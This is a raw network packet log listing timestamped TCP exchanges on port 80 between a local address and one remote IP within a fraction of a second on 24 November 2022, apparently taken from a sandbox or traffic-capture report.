Nov 24, 2022 16:57:36.741911888 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.741951942 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.741955996 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.741997004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742012024 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742038965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742058039 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742080927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742080927 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742125988 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742125988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742167950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742172003 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742209911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742216110 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742252111 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742253065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742295027 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742301941 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742335081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742336988 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742377996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742378950 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742419958 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742424011 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742460966 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742460966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742501974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742507935 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742543936 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742546082 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742595911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742597103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742618084 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742640018 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742654085 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742665052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742685080 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742698908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742708921 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742717981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742722988 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742738008 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742739916 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742757082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742763996 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742778063 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742780924 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742799044 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742799997 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742818117 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742820978 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742835045 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742840052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742860079 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742861032 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742891073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742892981 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742908001 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742909908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742929935 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742930889 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742950916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742957115 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742970943 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.742970943 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742988110 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.742993116 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743014097 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743014097 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743031025 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743033886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743053913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743055105 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743072987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743078947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743094921 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743104935 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743114948 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743128061 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743134975 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743140936 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743155956 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743156910 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743175030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743184090 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743195057 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743212938 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743213892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743233919 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743242025 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743252993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743259907 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743273020 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743288040 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743294954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743303061 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743315935 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743325949 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743335962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743341923 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743354082 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743356943 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743377924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743377924 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743396997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743407011 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743417025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743423939 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743437052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743438005 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743457079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743463993 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743477106 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743479013 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743493080 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743496895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743518114 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743524075 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743536949 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743537903 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743556976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743567944 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743576050 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743582964 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743594885 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743597031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743617058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743621111 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743635893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743637085 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743654966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743660927 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743674994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743675947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743695021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743702888 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743715048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743716955 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743735075 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743741989 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743756056 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743756056 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743774891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743782043 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743794918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743797064 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743814945 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743824005 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743834019 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743837118 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743854046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743864059 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743874073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743879080 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743894100 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743896961 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743908882 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743915081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743935108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743937969 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743954897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743969917 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743976116 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.743983984 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.743997097 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744008064 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744016886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744033098 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744036913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744046926 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744057894 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744064093 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744077921 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744081974 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744093895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744100094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744121075 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744122982 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744138956 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744139910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744159937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744163036 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744179010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744189978 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744199991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744206905 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744216919 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744221926 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744236946 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744236946 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744256973 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744267941 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744276047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744285107 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744297028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744298935 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744314909 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744318008 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744338036 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744344950 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744358063 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744362116 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744378090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744379044 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744395018 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744396925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744417906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744421005 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744437933 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744457006 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744461060 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744477034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744487047 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744497061 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744504929 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744517088 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744532108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744538069 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744548082 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744558096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744565010 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744577885 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744579077 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744597912 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744600058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744618893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744625092 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744638920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744638920 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744658947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744662046 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744674921 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744678974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744699001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744704962 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744718075 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744719982 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744739056 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744745970 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744759083 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744760990 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744775057 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744777918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744798899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744803905 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744818926 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744834900 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744838953 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744848967 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744858980 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744864941 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744879007 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744891882 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744899035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744908094 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744920969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744921923 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744941950 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744947910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744967937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744973898 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.744987965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.744988918 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745004892 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745007038 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745033026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745035887 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745049953 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745052099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745070934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745075941 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745091915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745105982 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745111942 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745120049 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745131969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745145082 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745152950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745167017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745172977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745181084 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745193958 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745210886 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745210886 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745213032 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745232105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745237112 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745250940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745251894 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745270014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745271921 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745289087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745295048 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745309114 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745311022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745331049 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745330095 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745352030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745352983 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745371103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745384932 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745390892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745398998 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745410919 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745417118 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745430946 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745444059 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745450974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745459080 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745471001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745472908 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745486975 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745491028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745510101 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745515108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745529890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745533943 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745548010 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745548964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745568991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745574951 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745588064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745594978 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745609045 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745609999 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745629072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745640039 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745649099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745656967 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745670080 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745676994 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745688915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745691061 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745708942 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745718002 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745728970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745743990 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745748997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745759964 CET	49713	80	192.168.2.3	66.235.200.147
